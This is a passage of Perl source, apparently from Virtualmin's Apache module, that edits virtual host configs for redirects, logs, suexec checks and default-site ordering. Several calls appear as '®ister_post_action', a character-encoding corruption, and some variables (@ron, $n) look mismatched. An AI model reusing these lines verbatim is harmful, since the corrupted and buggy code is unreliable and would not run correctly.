if ($tmpl->{'web_ruby_suexec'} >= 0) {
# Setup for Ruby
&save_domain_ruby_mode($d,
$tmpl->{'web_ruby_suexec'} == 0 ? "mod_ruby" :
$tmpl->{'web_ruby_suexec'} == 1 ? "cgi" : "fcgid",
$port, 1);
}
}
}
# add_proxy_allow_directives(&domain)
# Adds a <Proxy *> section to allow ProxyPass to work, in case it is overridden
# at a higher level (as seen on Ubuntu).
sub add_proxy_allow_directives
{
local ($d) = @_;
&require_apache();
return 0 if ($apache::httpd_modules{'core'} < 2); # Not supported in 1.3
local @ports;
push(@ports, $d->{'web_port'}) if ($d->{'web'});
push(@ports, $d->{'web_sslport'}) if ($d->{'ssl'});
local $added = 0;
foreach my $port (@ports) {
local ($virt, $vconf) = &get_apache_virtual($d->{'dom'}, $port);
next if (!$virt);
local @proxy = grep { $_ eq "*" }
&apache::find_directive("Proxy", $vconf);
if (!@proxy) {
local $lref = &read_file_lines($virt->{'file'});
splice(@$lref, $virt->{'eline'}, 0,
"<Proxy *>",
"allow from all",
"</Proxy>");
&flush_file_lines($virt->{'file'});
undef(@apache::get_config_cache);
$added++;
}
}
return $added;
}
# add_webmail_redirect_directives(&domain, &template)
# Add mod_rewrite directives to direct webmail.$DOM and admin.$DOM to
# Usermin and Webmin. Also updates the ServerAlias if needed.
sub add_webmail_redirect_directives
{
local ($d, $tmpl) = @_;
return 1 if ($d->{'alias'}); # Don't bother for alias domains, due to
# Apache config clashes
$tmpl ||= &get_template($d->{'template'});
local $p = &domain_has_website($d);
if ($p && $p ne 'web') {
return &plugin_call($p, "feature_add_web_webmail_redirect", $d, $tmpl);
}
&require_apache();
foreach my $r ('webmail', 'admin') {
next if (!$tmpl->{'web_'.$r});
# Get directives we will be changing
local $conf = &apache::get_config();
local ($virt, $vconf) = &get_apache_virtual($d->{'dom'},
$d->{'web_port'});
next if (!$virt);
local @reng = &apache::find_directive("RewriteEngine", $vconf);
local @rcond = &apache::find_directive("RewriteCond", $vconf);
local @rrule = &apache::find_directive("RewriteRule", $vconf);
local @sa = &apache::find_directive("ServerAlias", $vconf);
# Work out the URL to redirect to
local $url = $tmpl->{'web_'.$r.'dom'};
if ($url) {
# Sub in any template
$url = &substitute_domain_template($url, $d);
}
else {
# Work out URL
local ($port, $proto);
if ($r eq 'webmail') {
# From Usermin
if (&foreign_installed("usermin")) {
&foreign_require("usermin", "usermin-lib.pl");
local %miniserv;
&usermin::get_usermin_miniserv_config(
\%miniserv);
$proto = $miniserv{'ssl'} ? 'https' : 'http';
$port = $miniserv{'port'};
}
# Fall back to standard defaults
$proto ||= "http";
$port ||= 20000;
}
else {
# From Webmin
($port, $proto) = &get_miniserv_port_proto();
}
$url = "$proto://$d->{'dom'}:$port/";
}
# Add the mod_rewrite directives
local $rhost = "$r.$d->{'dom'}";
local ($ron) = grep { lc($_) eq "on" } @ron;
push(@ron, "on") if (!$ron);
local $condv = "\%{HTTP_HOST} =$rhost";
local ($rcond) = grep { $_ eq $condv } @rcond;
push(@rcond, $condv) if (!$rcond);
local $rulev = "^(.*) $url [R]";
local $rrule = grep { $_ eq $rulev } @rrule;
push(@rrule, $rulev) if (!$rrule);
# Add the ServerAlias
local $foundsa;
foreach my $s (@sa) {
$foundsa++ if (&indexof($rhost, split(/\s+/, $s)) >= 0);
}
push(@sa, $rhost) if (!$foundsa);
# Update Apache config
&apache::save_directive("RewriteEngine", \@ron, $vconf, $conf);
&apache::save_directive("RewriteCond", \@rcond, $vconf, $conf);
&apache::save_directive("RewriteRule", \@rrule, $vconf, $conf);
&apache::save_directive("ServerAlias", \@sa, $vconf, $conf);
# Fix the Apache config for the domain so that the last RewriteCond
# appears just before last RewriteRule. This is needed until Webmin
# 1.430, as older versions always put same-named directives after
# each other.
local $lref = &read_file_lines($virt->{'file'});
local ($lcond, $lrule);
for(my $i=$virt->{'line'}; $i <= $virt->{'eline'}; $i++) {
if ($lref->[$i] =~ /^RewriteCond\s/) { $lcond = $i; }
if ($lref->[$i] =~ /^RewriteRule\s/) { $lrule = $i; }
}
if ($lcond && $lrule && @rcond > 1 && @rrule > 1) {
splice(@$lref, $lrule, 0, $lref->[$lcond]);
splice(@$lref, $lcond, 1);
}
# Write out config
&flush_file_lines($virt->{'file'});
undef(@apache::get_config_cache);
®ister_post_action(\&restart_apache);
}
}
# remove_webmail_redirect_directives(&domain)
# Take out webmail and admin redirects from the Apache config
sub remove_webmail_redirect_directives
{
local ($d) = @_;
local $p = &domain_has_website($d);
if ($p && $p ne 'web') {
return &plugin_call($p, "feature_remove_web_webmail_redirect", $d);
}
# Get directives we will be changing
&require_apache();
local $conf = &apache::get_config();
local ($virt, $vconf) = &get_apache_virtual($d->{'dom'}, $d->{'web_port'});
return 0 if (!$virt);
local @rcond = &apache::find_directive("RewriteCond", $vconf);
local @rrule = &apache::find_directive("RewriteRule", $vconf);
local @sa = &apache::find_directive("ServerAlias", $vconf);
# Filter out redirect rules
for(my $i=0; $i<@rcond; $i++) {
if ($rcond[$i] =~ /^\%{HTTP_HOST}\s+=(webmail|admin)\.$d->{'dom'}/) {
splice(@rcond, $i, 1);
if ($rrule[$i] =~ /^\^\(\.\*\)\s+(http|https):/) {
splice(@rrule, $i, 1);
}
$i--;
}
}
&apache::save_directive("RewriteCond", \@rcond, $vconf, $conf);
&apache::save_directive("RewriteRule", \@rrule, $vconf, $conf);
# Fix up the ServerAlias
local @newsa;
foreach my $s (@sa) {
local @sav = split(/\s+/, $s);
@sav = grep { $_ ne "webmail.$d->{'dom'}" &&
$_ ne "admin.$d->{'dom'}" } @sav;
if (@sav) {
push(@newsa, join(" ", @sav));
}
}
&apache::save_directive("ServerAlias", \@newsa, $vconf, $conf);
&flush_file_lines($virt->{'file'});
®ister_post_action(\&restart_apache);
return 1;
}
# get_webmail_redirect_directives(&domain)
# Returns the list of hostnames if a domain has webmail redirects configured
sub get_webmail_redirect_directives
{
local ($d) = @_;
local $p = &domain_has_website($d);
if ($p && $p ne 'web') {
return &plugin_call($p, "feature_get_web_webmail_redirect", $d);
}
&require_apache();
local ($virt, $vconf) = &get_apache_virtual($d->{'dom'}, $d->{'web_port'});
return ( ) if (!$virt);
local @rcond = &apache::find_directive("RewriteCond", $vconf);
local @rv;
foreach my $r (@rcond) {
if ($r =~ /^\%{HTTP_HOST}\s+=(\S+)/) {
push(@rv, $1);
}
}
return @rv;
}
# add_require_all_granted_directives(&dom, [port])
# For Apache 2.4+, add a "Require all granted" directive, if no other Require
# exists with a granted value for anything
sub add_require_all_granted_directives
{
local ($d, $oneport) = @_;
local @ports = $oneport ? ( $oneport ) :
$d->{'ssl'} ? ( $d->{'web_port'}, $d->{'web_sslport'} ) :
( $d->{'web_port'} );
foreach my $port (@ports) {
local ($virt, $vconf, $conf) = &get_apache_virtual($d->{'dom'}, $port);
if ($virt && $apache::httpd_modules{'core'} >= 2.4) {
foreach my $pdir (&public_html_dir($d), &cgi_bin_dir($d)) {
local ($dir) = grep { $_->{'words'}->[0] eq $pdir ||
$_->{'words'}->[0] eq $pdir."/" }
&apache::find_directive_struct("Directory", $vconf);
if ($dir) {
local @req = &apache::find_directive("Require",
$dir->{'members'});
local ($g) = grep { /granted/i } @req;
if (!$g) {
push(@req, "all granted");
&apache::save_directive("Require",\@req,
$dir->{'members'}, $conf);
&flush_file_lines($dir->{'file'});
}
}
}
}
}
}
# find_html_cgi_dirs(&domain)
# Updates the public_html_dir and cgi_bin_dir values in a domain's hash with
# their paths from Apache.
sub find_html_cgi_dirs
{
local ($d) = @_;
local $p = &domain_has_website($d);
if ($p ne "web") {
return &plugin_call($p, "feature_find_web_html_cgi_dirs", $d);
}
local ($virt, $vconf) = &get_apache_virtual($d->{'dom'}, $d->{'web_port'});
if ($virt) {
# Set public_html directory from document root
local $str = &apache::find_directive_struct("DocumentRoot", $vconf);
if ($str && !$d->{'public_html_correct'}) {
$d->{'public_html_path'} = $str->{'words'}->[0];
if ($d->{'public_html_path'} =~ /^\Q$d->{'home'}\E\/(.*)$/) {
$d->{'public_html_dir'} = $1;
}
elsif ($d->{'public_html_path'} eq $d->{'home'}) {
# Same as home directory!
$d->{'public_html_dir'} = ".";
}
else {
delete($d->{'public_html_dir'});
}
}
# Set CGI directory from ScriptAlias for /cgi-bin/
local @str = &apache::find_directive_struct("ScriptAlias", $vconf);
@str = grep { $_->{'words'}->[0] eq '/cgi-bin/' ||
$_->{'words'}->[0] eq '/cgi-bin' } @str;
if (@str && !$d->{'cgi_bin_correct'}) {
$d->{'cgi_bin_path'} = $str[0]->{'words'}->[1];
$d->{'cgi_bin_path'} =~ s/\/$//;
if ($d->{'cgi_bin_path'} =~ /^\Q$d->{'home'}\E\/(.*)$/) {
$d->{'cgi_bin_dir'} = $1;
}
else {
delete($d->{'cgi_bin_dir'});
}
}
}
}
# apache_in_domain_group(&domain)
# Returns 1 if the user Apache runs as is in the group for some domain,
# indicating that it can read files that are group-readable only
sub apache_in_domain_group
{
local ($d) = @_;
local $tmpl = &get_template($d->{'template'});
local $web_user = &get_apache_user($d);
if ($tmpl->{'web_user'} ne 'none' && $web_user) {
# An Apache user is defined.. but is it a group member?
local @uinfo = getpwnam($web_user);
if ($uinfo[3] == $d->{'gid'} ||
&indexof($d->{'group'}, &other_groups($web_user)) >= 0) {
return 1;
}
}
return 0;
}
# obtain_lock_web(&domain)
# Lock the Apache config file for some domain
sub obtain_lock_web
{
local ($d) = @_;
return if (!$config{'web'});
&obtain_lock_anything($d);
# Where is the domain's .conf file? We have to guess, as actually checking could
# mean reading the whole Apache config in twice.
local $file = &get_website_file($d);
if ($main::got_lock_web_file{$file} == 0) {
&lock_file($file);
undef(@apache::get_config_cache);
}
$main::got_lock_web_file{$file}++;
$main::got_lock_web_path{$d->{'id'}} = $file;
# Always lock main config file too, as we may modify it with a Listen
&require_apache();
local ($conf) = &apache::find_httpd_conf();
if ($conf) {
if ($main::got_lock_web_file{$conf} == 0) {
&lock_file($conf);
}
$main::got_lock_web_file{$conf}++;
}
$main::got_lock_web_conf = $conf;
}
# release_lock_web(&domain)
# Un-lock the Apache config file for some domain
sub release_lock_web
{
local ($d) = @_;
return if (!$config{'web'});
local $file = $main::got_lock_web_path{$d->{'id'}};
if ($main::got_lock_web_file{$file} == 1) {
&unlock_file($file);
}
$main::got_lock_web_file{$file}-- if ($main::got_lock_web_file{$file});
# Unlock main config file too
local $conf = $main::got_lock_web_conf;
if ($conf) {
if ($main::got_lock_web_file{$conf} == 1) {
&unlock_file($conf);
}
$main::got_lock_web_file{$conf}-- if ($main::got_lock_web_file{$conf});
}
&release_lock_anything($d);
}
# get_domain_web_star(&domain)
# Returns 1 if the webserver is configured to accept requests for any
# sub-domain under the domain, with a *.domain.com serveralias
sub get_domain_web_star
{
local ($d) = @_;
local $p = &domain_has_website($d);
if ($p && $p ne 'web') {
return &plugin_call($p, "feature_get_web_domain_star", $d);
}
elsif (!$p) {
return "Virtual server does not have a website";
}
&require_apache();
local ($virt, $vconf) = &get_apache_virtual($d->{'dom'}, $d->{'web_port'});
local @sa = &apache::find_directive("ServerAlias", $vconf);
my $withstar = "*.".$d->{'dom'};
foreach my $sa (@sa) {
my @saw = split(/\s+/, $sa);
return 1 if (&indexoflc($withstar, @saw) >= 0);
}
return 0;
}
# save_domain_web_star(&domain, star-mode)
# Toggle accepting of *.domain.com requests on or off
sub save_domain_web_star
{
local ($d, $star) = @_;
local $p = &domain_has_website($d);
if ($p && $p ne 'web') {
return &plugin_call($p, "feature_save_web_domain_star", $d, $star);
}
elsif (!$p) {
return "Virtual server does not have a website";
}
&require_apache();
my $conf = &apache::get_config();
my @ports = ( $d->{'web_port'},
$d->{'ssl'} ? ( $d->{'web_sslport'} ) : ( ) );
my $withstar = "*.".$d->{'dom'};
foreach my $p (@ports) {
my ($virt, $vconf) = &get_apache_virtual($d->{'dom'}, $p);
next if (!$virt);
my @sa = &apache::find_directive("ServerAlias", $vconf);
my $found;
foreach my $sa (@sa) {
local @saw = split(/\s+/, $sa);
$found++ if (&indexoflc($withstar, @saw) >= 0);
}
my $done;
if ($star && !$found) {
# Need to add
push(@sa, $withstar);
$done++;
}
elsif (!$star && $found) {
# Take away
foreach my $sa (@sa) {
local @saw = split(/\s+/, $sa);
@saw = grep { lc($_) ne $withstar } @saw;
$sa = join(" ", @saw);
}
$done++;
}
if ($done) {
&apache::save_directive("ServerAlias", \@sa, $vconf, $conf);
&flush_file_lines($virt->{'file'});
$any++;
}
}
if ($any) {
®ister_post_action(\&restart_apache);
}
}
# get_suexec_path()
# Returns the full path to the Apache suexec command, if installed, or undef
sub get_suexec_path
{
&require_apache();
local $httpd_dir = &apache::find_httpd();
$httpd_dir =~ s/\/[^\/]+$//;
foreach my $p ("suexec", # In path
"/usr/lib/apache2/suexec", # Debian
"/usr/lib/apache/suexec",
"/usr/local/bin/suexec", # FreeBSD
"/usr/local/sbin/suexec",
"/opt/csw/apache2/sbin/suexec", # Solaris CSW
"/opt/csw/apache/sbin/suexec",
"$httpd_dir/suexec", # Same dir as httpd
) {
local $fp = &has_command($p) || &has_command($p."2");
return $fp if ($fp);
}
return undef;
}
# get_suexec_document_root()
# Returns the directory under which suexec will run binaries, or undef
# if unknown
sub get_suexec_document_root
{
local $suexec = &get_suexec_path();
return undef if (!$suexec);
local $out = &backquote_command("$suexec -V 2>&1 </dev/null");
if ($out =~ /AP_DOC_ROOT="([^"]+)"/ ||
$out =~ /AP_DOC_ROOT=(\S+)/) {
return $1;
}
# Try new Debian-style suexec config files
local $user = &get_apache_user();
if ($out =~ /SUEXEC_CONFIG_DIR="([^"]+)"/ ||
$out =~ /SUEXEC_CONFIG_DIR=(\S+)/) {
foreach my $cf ("$1/$user", "$1/www-data") {
if (open(SUEXECCF, $cf)) {
my $basedir = <SUEXECCF>;
close(SUEXECCF);
$basedir =~ s/\r|\n//g;
return $basedir if ($basedir);
}
}
}
return undef;
}
# check_suexec_install(&template)
# Returns an error message if suexec does not appear to be installed properly.
sub check_suexec_install
{
local ($tmpl) = @_;
&require_useradmin();
# Make sure suexec is actually installed
local $suexec = &get_suexec_path();
local $suhome = &get_suexec_document_root();
local $suerr;
if ($tmpl->{'web_suexec'} && !$suexec) {
return $text{'check_ewebsuexecbin'};
}
# Work out CGI base directory
local @dirs = split(/\t/, $tmpl->{'web'});
local $cgibase;
foreach my $l (@dirs) {
if ($l =~ /^\s*ScriptAlias\s+\/cgi-bin\/?\s+(\/[^\$]*)/) {
$cgibase = $1;
}
}
$cgibase =~ s/\/$//;
# Make sure home base is under base directory, or template CGI directory is
if ($tmpl->{'web_suexec'} && $suhome &&
!&same_file($suhome, $home_base) &&
!&is_under_directory($suhome, $home_base) &&
(!$cgibase || !&is_under_directory($suhome, $cgibase))) {
return &text('check_ewebsuexechome',
"<tt>$home_base</tt>", "<tt>$suhome</tt>");
}
return undef;
}
# setup_apache_logs(&domain, [access-log, error-log])
# Create empty Apache log files for a domain, and set their ownership
sub setup_apache_logs
{
local ($d, $log, $elog) = @_;
$log ||= &get_apache_log($d->{'dom'}, $d->{'web_port'}, 0);
$elog ||= &get_apache_log($d->{'dom'}, $d->{'web_port'}, 1);
local $auser = &get_apache_user($d);
local $gid = $auser && $auser ne 'none' ? $auser : $d->{'gid'};
foreach my $l ($log, $elog) {
if ($l && !-r $l) {
local $dir = $l;
$dir =~ s/\/([^\/]+)$//;
if (&is_under_directory($d->{'home'}, $dir)) {
# If under home, create as the domain owner
if (-l $l) {
# Remove old symlink
&unlink_file_as_domain_user($d, $l);
}
if (!-d $dir) {
&make_dir_as_domain_user($d, $dir, 0711, 1);
}
&open_tempfile_as_domain_user($d, LOG, ">$l", 0, 1);
&close_tempfile_as_domain_user($d, LOG);
}
else {
# Can create as root
if (!-d $dir) {
# Create parent dir, such as /var/log/virtualmin
&make_dir($dir, 0711, 1);
}
&open_tempfile(LOG, ">$l", 0, 1);
&close_tempfile(LOG);
}
}
# Make non-world-readable
&set_apache_log_permissions($d, $l);
}
}
# set_apache_log_permissions(&domain, logfile)
# Set correct ownership and permissions on an Apache log
sub set_apache_log_permissions
{
local ($d, $l) = @_;
local $auser = &get_apache_user($d);
if (&is_under_directory($d->{'home'}, $l)) {
&set_permissions_as_domain_user($d, 0660, $l);
}
else {
my @uinfo = getpwnam($auser);
my $agroup = getgrgid($uinfo[3]) || $uinfo[3];
&set_ownership_permissions($d->{'uid'}, $agroup, 0660, $l);
}
}
# link_apache_logs(&domain, [access-log, error-log])
# If a domain's logs are not under it's home, create symlinks from the logs
# directory to the actual location.
sub link_apache_logs
{
local ($d, $log, $elog) = @_;
return if ($d->{'subdom'}); # Sub-domains have no separate logs
$log ||= &get_apache_log($d->{'dom'}, $d->{'web_port'}, 0);
$elog ||= &get_apache_log($d->{'dom'}, $d->{'web_port'}, 1);
local $loglink = "$d->{'home'}/logs/access_log";
local $eloglink = "$d->{'home'}/logs/error_log";
if ($log && (!-e $loglink || -l $loglink) &&
!&is_under_directory($d->{'home'}, $log)) {
&lock_file($loglink);
&unlink_file_as_domain_user($d, $loglink);
&symlink_file_as_domain_user($d, $log, $loglink);
&unlock_file($loglink);
}
if ($elog && (!-e $eloglink || -l $eloglink) &&
!&is_under_directory($d->{'home'}, $elog)) {
&lock_file($eloglink);
&unlink_file_as_domain_user($d, $eloglink);
&symlink_file_as_domain_user($d, $elog, $eloglink);
&unlock_file($eloglink);
}
}
# can_default_website(&domain)
# Returns 1 if the current user can change the default website for an IP.
# Only true for the master admin, or if he owns all the sites on that IP.
sub can_default_website
{
local ($d) = @_;
local $p = &domain_has_website($d);
if ($p ne 'web') {
# Does this website type support it?
return 0 if (!&plugin_defined($p, "feature_supports_web_default") ||
!&plugin_call($p, "feature_supports_web_default", $d));
}
return 1 if (&master_admin());
if ($p eq 'web') {
# Find all Apache vhosts on the IP and their domains, and make sure
# the user can edit all of them
foreach my $o (&list_apache_domains_on_ip($d)) {
if ($o->[1] && !&can_edit_domain($o->[1])) {
return 0;
}
}
}
else {
# Just find all domains on the IP, and make sure the user can edit
# all of them
foreach my $o (&get_domain_by("ip", $d->{'ip'})) {
return 0 if (!&can_edit_domain($o));
}
}
return 1;
}
# list_apache_domains_on_ip(&domain, [port])
# Returns a list of Apache virtualhost hash refs and virtual servers that are
# using the same IP in the Apache config as this one. If it is name-based
# (* in the virtualhost), then all similar servers will be matched.
# XXX will a request to some IP match both domains on that IP, and * ?
sub list_apache_domains_on_ip
{
local ($d, $port) = @_;
$port ||= $d->{'web_port'};
&require_apache();
local ($virt, $vconf, $conf) = &get_apache_virtual($d->{'dom'}, $port);
return ( ) if (!$virt); # Cannot find our own site?
local @rv;
foreach my $v (&apache::find_directive_struct("VirtualHost", $conf)) {
if ($v->{'words'}->[0] eq $virt->{'words'}->[0]) {
# Matches IP .. find the domain if we can
local $sn = &apache::find_directive("ServerName",
$v->{'members'});
local $vd = &get_domain_by("dom", $sn);
if (!$vd) {
# Search by ServerAlias
foreach my $sa (&apache::find_directive_struct(
"ServerAlias", $v->{'members'})) {
foreach my $saw (map { lc($_) }
@{$n->{'words'}}) {
$vd = &get_domain_by("dom", $saw);
last if ($vd);
}
}
}
push(@rv, [ $v, $vd ]);
}
}
# If domain files are in a directory, sort by filename as older Webmin's
# dont do this for us
if ($apache::config{'virt_file'} && -d $apache::config{'virt_file'} &&
&get_webmin_version() < 1.490) {
@rv = sort { $a->[0]->{'file'} cmp $b->[0]->{'file'} } @rv;
}
return @rv;
}
# get_default_apache_website(&domain, [port])
# Returns the Apache virtualhost and possibly virtual server hash for the
# default website on some domain's IP
sub get_default_apache_website
{
local ($d, $port) = @_;
local @onip = &list_apache_domains_on_ip($d, $port);
return @onip ? @{$onip[0]} : ( );
}
# set_default_website(&domain)
# Make sure virtual server the default website for its IP, by re-ordering
# entries in httpd.conf
sub set_default_website
{
local ($d) = @_;
local $p = &domain_has_website($d);
if ($p ne 'web') {
return &plugin_call($p, "feature_set_web_default", $d);
}
&require_apache();
foreach my $port ($d->{'web_port'},
$d->{'ssl'} ? ( $d->{'web_sslport'} ) : ( )) {
local ($virt, $vconf, $conf) = &get_apache_virtual($d->{'dom'}, $port);
$virt || return "No Apache virtualhost found for $d->{'dom'}:$port";
local ($oldvirt, $oldd) = &get_default_apache_website($d, $port);
if ($virt && $oldvirt && $virt ne $oldvirt) {
if ($virt->{'file'} eq $oldvirt->{'file'}) {
# Need to move up in file
local $lref = &read_file_lines($virt->{'file'});
local @oldl = @$lref[$virt->{'line'} .. $virt->{'eline'}];
splice(@$lref, $virt->{'line'},
$virt->{'eline'} - $virt->{'line'} + 1);
splice(@$lref, $oldvirt->{'line'}, 0, @oldl);
&flush_file_lines($virt->{'file'});
}
else {
# Swap file order
$virt->{'file'} =~ /^(.*)\/([^\/]+)$/;
local ($dir, $file) = ($1, $2);
$oldvirt->{'file'} =~ /^(.*)\/([^\/]+)$/;
local ($olddir, $oldfile) = ($1, $2);
local $adddir = $apache::config{'virt_file'} ?
&apache::server_root($apache::config{'virt_file'}) :
undef;
if ($dir eq $olddir && $dir eq $adddir) {
# Separate files in the add-to dir
&apache::delete_webfile_link("$dir/$file");
&rename_logged("$dir/$file", "$dir/0-$file");
&apache::create_webfile_link("$dir/0-$file");
if ($oldfile =~ /^0-(.*)$/) {
&apache::delete_webfile_link(
"$dir/$oldfile");
&rename_logged("$dir/$oldfile",
"$dir/$1");
&apache::create_webfile_link("$dir/$1");
}
}
else {
# Cannot handle this case
return "Cannot handle swap between $virt->{'file'} and $oldvirt->{'file'}";
}
}
undef(@apache::get_config_cache);
®ister_post_action(\&restart_apache);
}
}
return undef;
}
# is_default_website(&domain)
# Returns 1 if some domain is the default website for it's IP, 0 otherwise
sub is_default_website
{
local ($d) = @_;
local $p = &domain_has_website($d);
if ($p ne 'web') {
return &plugin_call($p, "feature_is_web_default", $d);
}
else {
local ($defvirt, $defd) = &get_default_apache_website($d);
if (!$defd || $defd->{'id'} ne $d->{'id'}) {
# No default found, or not the default
return 0;
}
elsif ($defvirt->{'file'} =~ /\/\Q$d->{'dom'}\E\.conf$/) {
# This domain is the default, but filename is based on
# domain name .. so it is only accidentally the default
return 2;
}
else {
# Definately the default
return 1;
}
}
}
# find_default_website(&domain)
# Finds the domain that has the default website for the IP the given domain
# is on
sub find_default_website
{
my ($d) = @_;
local $p = &domain_has_website($d);
if ($p eq 'web') {
# Can just use the default apache site function
local (undef, $defd) = &get_default_apache_website($d);
return $defd;
}
else {
# Iterate through domains
foreach my $defd (&get_domain_by("ip", $d->{'ip'})) {
return $defd if (&is_default_website($defd));
}
return undef;
}
}
# get_apache_vhost_ips(&domain, star-namevirtualhost-ip4,
# star-namevirtualhost-ip6, [port])
# Returns a string listing the IPs for a domain's <virtualhost> block.
# A star is used for the IP if the virtual host is name based, and the IP
# is shared with other domains.
sub get_apache_vhost_ips
{
local ($d, $nvstar, $nvstar6, $port) = @_;
local $parent = $d->{'parent'} ? &get_domain($d->{'parent'}) : undef;
$port ||= $d->{'web_port'};
&require_apache();
local $vip = $config{'apache_star'} == 2 ? "*" :
$config{'apache_star'} == 1 ? $d->{'ip'} :
$d->{'name'} &&
$apache::httpd_modules{'core'} >= 1.312 &&
&is_shared_ip($d->{'ip'}) &&
$nvstar ? "*" : $d->{'ip'};
local @vips = ( "$vip:$port" );
if ($d->{'ip6'}) {
local $vip6 = $config{'apache_star'} == 2 ? "*" :
$config{'apache_star'} == 1 ? $d->{'ip6'} :
$d->{'name'} &&
&is_shared_ip($d->{'ip6'}) &&
$nvstar6 ? "*" : $d->{'ip6'};
if ($vip6 ne "*") {
# If already matching *:port for the IPv4 part, no need to
# repeat it for IPv6
push(@vips, "[$vip6]:$port");
}
}
return join(" ", @vips);
}
# list_apache_directives()
# Returns a list of directives and modules (as array refs) supported by Apache
sub list_apache_directives
{
&require_apache();
local $httpd = &apache::find_httpd();
local @rv;
open(DIRS, "$httpd -L 2>/dev/null </dev/null |");
while(<DIRS>) {
if (/^(\S+)\s+\((\S+)\.c\)/) {
push(@rv, [ $1, $2 ]);
}
}
close(DIRS);
return @rv;
}
# change_access_log(&domain, logfile)
# Update the Apache config to use a new access log file, move the old one to
# the new location, and update any links
sub change_access_log
{
local ($d, $accesslog) = @_;
$accesslog =~ /^\/\S+$/ ||
return "Access log $accesslog must be an absolute path";
local $p = &domain_has_website($d);
if ($p ne "web") {
return &plugin_call($p, "feature_change_web_access_log",
$d, $accesslog);
}
local $err = &change_apache_log($d, $accesslog, "CustomLog");
if ($err) {
$err = &change_apache_log($d, $accesslog, "TransferLog");
}
&link_apache_logs($d);
®ister_post_action(\&restart_apache);
return $err;
}
# change_error_log(&domain, logfile)
# Update the Apache config to use a new error log file, move the old one to
# the new location, and update any links
sub change_error_log
{
local ($d, $errorlog) = @_;
$errorlog =~ /^\/\S+$/ ||
return "Error log $errorlog must be an absolute path";
local $p = &domain_has_website($d);
if ($p ne "web") {
return &plugin_call($p, "feature_change_web_error_log",
$d, $errorlog);
}
local $err = &change_apache_log($d, $errorlog, "ErrorLog");
&link_apache_logs($d);
®ister_post_action(\&restart_apache);
return $err;
}
# change_apache_log(&domain, logfile, directive)
# Update the Apache config to use a log file of some kind, move the old one to
# the new location, and update any links
sub change_apache_log
{
local ($d, $log, $dir) = @_;
-d $log && return "Log file $log is a directory";
local $logdir = $log;
$logdir =~ s/[^\/]+$//;
-d $logdir || return "Log parent directory $logdir does not exist";
# Update the Apache config
local @ports = ( $d->{'web_port'},
$d->{'ssl'} ? ( $d->{'web_sslport'} ) : ( ) );
local $movelog;
foreach my $p (@ports) {
local ($virt, $vconf, $conf) = &get_apache_virtual($d->{'dom'}, $p);
next if (!$virt);
local $oldlog = &apache::find_directive($dir, $vconf);
next if (!$oldlog);
local $oldlogfile = &extract_writelogs_path($oldlog);
$oldlog =~ s/\Q$oldlogfile\E/$log/;
$movelog ||= $oldlogfile;
&apache::save_directive($dir, [ $oldlog ], $vconf, $conf);
&flush_file_lines($virt->{'file'});
}
$movelog || return "No log directives found for $dir";
# Move the file if needed
if (!&same_file($log, $movelog) || -l $log) {
if (-e $log) {
&unlink_file($log);
}
if (-r $movelog) {
&rename_logged($movelog, $log);
}
}
# Fix logrotate config
if ($d->{'logrotate'}) {
local $lconf = &get_logrotate_section($movelog);
if ($lconf) {
local $parent = &logrotate::get_config_parent();
foreach my $n (@{$lconf->{'name'}}) {
if ($n eq $movelog) {
$n = $log;
}
}
&logrotate::save_directive($parent, $lconf, $lconf);
&flush_file_lines($lconf->{'file'});
}
}
return undef;
}
# modify_web_home_directory(&domain, &old-domain, &virt, &vconf, &apache-config)
# Updates all directives that refer to the old home directory, by modifying
# the Apache config files directly. Also updates PHP config files. Invalidates
# the Apache config cache.
sub modify_web_home_directory
{
local ($d, $oldd, $virt, $vconf, $conf) = @_;
local $lref = &read_file_lines($virt->{'file'});
for(my $i=$virt->{'line'}; $i<=$virt->{'eline'}; $i++) {
$lref->[$i] =~ s/\Q$oldd->{'home'}\E/$d->{'home'}/g;
}
&flush_file_lines($virt->{'file'});
undef(@apache::get_config_cache);
# Fix all php.ini files that use old path
if (defined(&list_domain_php_inis) && &foreign_check("phpini")) {
&foreign_require("phpini", "phpini-lib.pl");
my $mode = &get_domain_php_mode($d);
$mode = "cgi" if ($mode eq "mod_php");
foreach my $ini (&list_domain_php_inis($d, $mode)) {
&lock_file($ini->[1]);
my $conf = &phpini::get_config($ini->[1]);
my $fixed = 0;
foreach my $c (@$conf) {
if ($c->{'value'} =~ /\Q$oldd->{'home'}\E/) {
$c->{'value'} =~
s/\Q$oldd->{'home'}\E/$d->{'home'}/g;
&phpini::save_directive($conf,
$c->{'name'}, $c->{'value'});
$fixed++;
}
}
if ($fixed) {
&flush_file_lines($ini->[1]);
}
&unlock_file($ini->[1]);
}
}
}
# modify_web_domain(&domain, &old-domain, &virt, &vconf, &apache-config,
# [rename-log-files])
# Update the Apache config for a virtual host to fix the domain name. May also
# rename actual log files if changed.
sub modify_web_domain
{
local ($d, $oldd, $virt, $vconf, $conf, $rlogs) = @_;
&apache::save_directive("ServerName", [ $d->{'dom'} ],
$vconf, $conf);
local @sa = map { s/\Q$oldd->{'dom'}\E/$d->{'dom'}/g; $_ }
&apache::find_directive("ServerAlias", $vconf);
&apache::save_directive("ServerAlias", \@sa, $vconf, $conf);
# Update log paths
foreach my $ld ("ErrorLog", "TransferLog", "CustomLog") {
local @ldv = &apache::find_directive($ld, $vconf);
next if (!@ldv);
foreach my $l (@ldv) {
my $oldl = $l;
if ($l =~ /\/[^\/]*\Q$oldd->{'dom'}\E[^\/]*$/ &&
!$_[0]->{'subdom'}) {
$l =~ s/\Q$oldd->{'dom'}\E/$d->{'dom'}/g;
}
if ($l ne $oldl && $rlogs) {
# Rename log file too
local $wl = &apache::wsplit($l);
local $woldl = &apache::wsplit($oldl);
&rename_file($woldl->[0], $wl->[0]);
}
}
&apache::save_directive($ld, \@ldv, $vconf, $conf);
}
# Update RewriteCond / RewriteRule / Redirect* directives for
# webmail and awstats redirects
foreach my $ld ("RewriteCond", "RewriteRule",
"Redirect", "RedirectMatch") {
local @ldv = &apache::find_directive($ld, $vconf);
next if (!@ldv);
foreach my $l (@ldv) {
$l =~ s/\Q$oldd->{'dom'}\E/$d->{'dom'}/g;
}
&apache::save_directive($ld, \@ldv, $vconf, $conf);
}
&flush_file_lines();
}
# modify_web_user_group(&domain, &old-domain, &virt, &vconf, &apache-config)
# Update the Apache config for a virtual host to fix the user and group names
sub modify_web_user_group
{
local ($d, $oldd, $virt, $vconf, $conf) = @_;
local $suexec = &apache::find_directive_struct("SuexecUserGroup", $vconf);
if ($suexec && ($suexec->{'words'}->[0] eq $oldd->{'user'} ||
$suexec->{'words'}->[0] eq '#'.$oldd->{'uid'})){
